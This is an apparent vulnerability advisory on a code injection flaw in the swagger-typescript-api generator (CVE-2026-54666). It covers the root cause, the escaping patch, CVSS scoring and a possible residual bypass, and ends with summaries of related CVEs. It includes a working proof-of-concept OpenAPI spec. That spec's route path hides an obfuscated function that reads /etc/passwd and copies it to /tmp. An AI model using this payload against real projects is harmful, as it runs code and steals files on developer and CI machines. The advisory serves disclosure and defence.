Jul 29, 2026·6 min read·7 visits
The swagger-typescript-api code generator fails to sanitize route paths. An attacker can craft a malicious OpenAPI specification with embedded JavaScript in a route path to execute arbitrary code when the generated API client is run.
CVE-2026-54666 identifies a high-severity code injection vulnerability in the swagger-typescript-api code generator library. The library fails to sanitize route paths parsed from OpenAPI Specification (OAS) documents before interpolating them into generated TypeScript and JavaScript client code. When a developer processes a compromised or malicious OpenAPI specification file, the library writes unescaped string literals and dynamic execution blocks directly into backtick template literals. When the generated client's corresponding API method is executed, the embedded JavaScript executes dynamically with the privileges of the active process.
The library swagger-typescript-api is an open-source tool utilized to automate the generation of typed API clients (using either Fetch or Axios) from OpenAPI Specification files. To generate clients, the tool parses paths, schemas, and query parameters, and maps them to client procedures using EJS templates. This generation phase constitutes an administrative and build-time attack surface.
Because the generation process assumes the input OpenAPI Specification is trusted, it processes route keys directly from the JSON/YAML structure. If an external entity can control or manipulate the OpenAPI schema used by developers or automated CI/CD pipelines, they gain control over the code generation process. This threat profile targets the build chain and developer workstations.
The vulnerability is classified under CWE-94 (Improper Control of Generation of Code), CWE-74 (Improper Neutralization of Special Elements in Output), and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The lack of input sanitization propagates structural injection vulnerabilities from the design schema directly into execution contexts.
The root cause of CVE-2026-54666 lies within src/schema-routes/schema-routes.ts. When processing endpoints, the parser reads the keys of the paths object, which represent the API routes (for example, /users/{id}). The generator performs a substitution loop to convert path parameters from OpenAPI curly-brace format ({id}) to JavaScript template literal syntax (${id}).
Apart from this isolated path parameter replacement, the raw string defining the route path was historically written directly to EJS templates without escaping. The default and modular templates (templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs) utilize backticks to enclose the resulting URI path string.
Because backticks, backslashes, and target evaluation sequences (${) were not sanitized, any user-supplied string containing these characters was written raw into the output files. When the JavaScript engine evaluates the backtick literal during client runtime, any embedded expression of the form ${expression} is processed as code and executed immediately by the runtime interpreter.
The patch implemented in version 13.12.2 introduces an escaping step for JavaScript template literals before the parameters are processed in the route definitions.
Below is the comparison of the vulnerable logic versus the patched logic within src/schema-routes/schema-routes.ts and the new utility function introduced:
// Patched: New utility src/util/escape-js-template-literal-with-path-params.ts
/**
* Escapes backslashes, backticks, and template literal starts for JS strings
*/
export function escapeJsTemplateLiteralStatic(value: string): string {
return value
.replace(/\\/g, "\\\\")
.replace(/`/g, "\\`")
.replace(/\$\{/g, "\\${");
}The implementation integrates into the schema parsing lifecycle as shown below:
// Vulnerable Code Path:
// The raw path was passed directly into parameter reduction
let fixedRoute = pathParams.reduce((fixedRoute, pathParam) => {
return fixedRoute.replace(pathParam.$match, `\${${pathParam.name}}`);
}, routeName); // routeName was unescaped
// Patched Code Path (Commit 306d59acb8ffbb00f953f807b97234b21f51d9de):
// The routeName is escaped first, preserving safely formatted parameter markers
const escapedRouteName = escapeJsTemplateLiteralStatic(routeName || "");
let fixedRoute = pathParams.reduce((fixedRoute, pathParam, i, arr) => {
const insertion =
this.config.hooks.onInsertPathParam(
pathParam.name,
pathParam.$match,
i,
arr,
fixedRoute,
) || pathParam.name;
// Safe substitution occurs after base escaping
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
}, escapedRouteName);By executing escapeJsTemplateLiteralStatic on the raw route key prior to injecting parameters, any pre-existing executable ${ blocks or backticks within the OpenAPI path key are safely neutralised by prepending backslashes.
Exploitation requires hosting or delivering a manipulated OpenAPI specification containing a payload inside a path key. An attacker embeds an Immediately Invoked Function Expression (IIFE) within the path parameters.
Consider the following structured proof-of-concept OpenAPI Specification payload designed to read sensitive files on a Unix system:
{
"openapi": "3.0.0",
"info": { "title": "InjectedAPI", "version": "1.0.0" },
"paths": {
"/api/${\(async\(\)=>{try{const m=Buffer.from(\"bm9kZTpmcw==\",\"base64\").toString();const f=await import\(m\);const d=f.readFileSync\(\"/etc/passwd\",\"utf8\"\);f.writeFileSync\(\"/tmp/pwned\",d\);}catch\(e\){}return\ \"x\";}\)\(\)}/data": {
"get": {
"operationId": "triggerRce",
"responses": { "200": { "description": "Success" } }
}
}
}
}When a developer processes this document using swagger-typescript-api < 13.12.2, the output file generates the following statement:
triggerRce = (params: RequestParams = {}) =>
this.request<any, any>({
path: `/api/${(async()=> { ... })()}/data`,
method: "GET",
...params,
});When triggerRce() is invoked by the application code, the backtick template is evaluated by the runtime engine (such as Node.js or a browser environment). The IIFE executes immediately, resolving the standard library node:fs, reading local system files, and writing them to the temporary directory.
The execution impact depends entirely on the environment hosting the generated API client. If the generated client is integrated into a backend Node.js application, the injected code runs with the operational permissions of the Node.js process. This can result in arbitrary command execution, local file system modification, access to system environment variables, or remote exfiltration of credentials.
If the client is built into a browser application via bundlers (such as Webpack, Vite, or Esbuild), the payload executes inside the browser of users accessing the front end. This can lead to session hijacking, data exfiltration, or defacement of the application context.
The vector has a CVSS base score of 8.3. The Attack Complexity is classified as High (AC:H) because exploitation depends on a user pulling an untrusted specification file and invoking the output function. However, the scope is Changed (S:C) because exploitation of the compiler tool compromises downstream client services.
While the patch effectively prevents direct exploitation through standard path interpolation, a deep code review reveals minor residual risks that may persist in edge configurations.
The regular expression utilized by the tool to locate path parameters is defined as /({[\w[\\\]^][-_.\w]*})/g. This regular expression explicitly permits backticks (`` ``) and backslashes (\) inside parameter names.
Because the escaping utility escapeJsTemplateLiteralStatic is applied to the raw route path before the path parameters are substituted, if a parameter is defined with a name like \{myinject}`, the subsequent replacement operation can reintroduce unescaped backticks into the final generated template literal. This risk is minimized because parameter names are typically validated structurally, but it constitutes a potential bypass if the parameter definitions themselves are not properly restricted.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
swagger-typescript-api acacode | < 13.12.2 | 13.12.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 / CWE-1336 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.3 |
| Exploit Status | Proof-of-Concept |
| CISA KEV Status | Not Listed |
| Ecosystem | npm |
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
CVE-2026-54735 is a critical Server-Side Request Forgery (SSRF) vulnerability in Prebid Server's bidder adapters, allowing unauthenticated remote attackers to route HTTP requests to arbitrary locations, including internal local host loopbacks and cloud provider metadata endpoints.
A type confusion vulnerability exists in the optimizing JIT compilation pipeline of Mozilla SpiderMonkey (Firefox) prior to version 151.0.3. An error in the JIT compiler's Range Analysis optimization pass allows the unsafe elimination of critical type guards. Under specific execution flows, an unauthenticated remote attacker can trigger a mismatch between predicted compile-time types and actual runtime types, resulting in memory corruption and arbitrary code execution within the browser's sandbox environment.
CVE-2026-54690 (GHSA-954p-556p-r752) is a Server-Side Request Forgery (SSRF) vulnerability in the datamodel-code-generator Python library from version 0.9.1 to 0.61.0. The library silently resolves remote JSON Schema references ($ref) over HTTP/HTTPS without verifying the target hosts or IP addresses. Because it automatically follows redirects and permits requests to local and private networks by default, an attacker can submit a crafted schema to trigger connections to internal subnets, localhost, or cloud metadata endpoints. Retrieved sensitive data is subsequently parsed and reflected in the generated Python model files, resulting in local and private data disclosure.
CVE-2026-54656 is a high-severity arbitrary code execution vulnerability in the koxudaxi/datamodel-code-generator Python package. When processing validator metadata from external configuration files passed via the --extra-template-data argument, the code generator performs unescaped string interpolation into Pydantic v2 @field_validator decorators. This allows local attackers to construct malicious configuration files that inject arbitrary Python statements into generated models, executing code upon downstream import. This vulnerability has been resolved in version 0.60.2.
CVE-2026-55391 is a server-side request forgery (SSRF) bypass vulnerability in the datamodel-code-generator package. The vulnerability occurs due to a Time-of-Check to Time-of-Use (TOCTOU) race condition during DNS resolution, combined with a failure to inspect embedded IPv4-in-IPv6 address mappings. By deploying a malicious DNS server with a low Time-To-Live (TTL) configuration, an attacker can bypass private address blocklists and coerce the application to connect to internal services or local endpoints.
A critical code injection vulnerability exists in datamodel-code-generator from version 0.17.0 up to 0.60.1. The vulnerability allows remote attackers who supply a malicious JSON schema to execute arbitrary Python code. This occurs when the schema specifies a payload inside the 'default_factory' field extra, which is rendered directly into generated code without sanitization. When downstream processes load or import the output code, the evaluation of the class definition immediately triggers the execution of the injected code.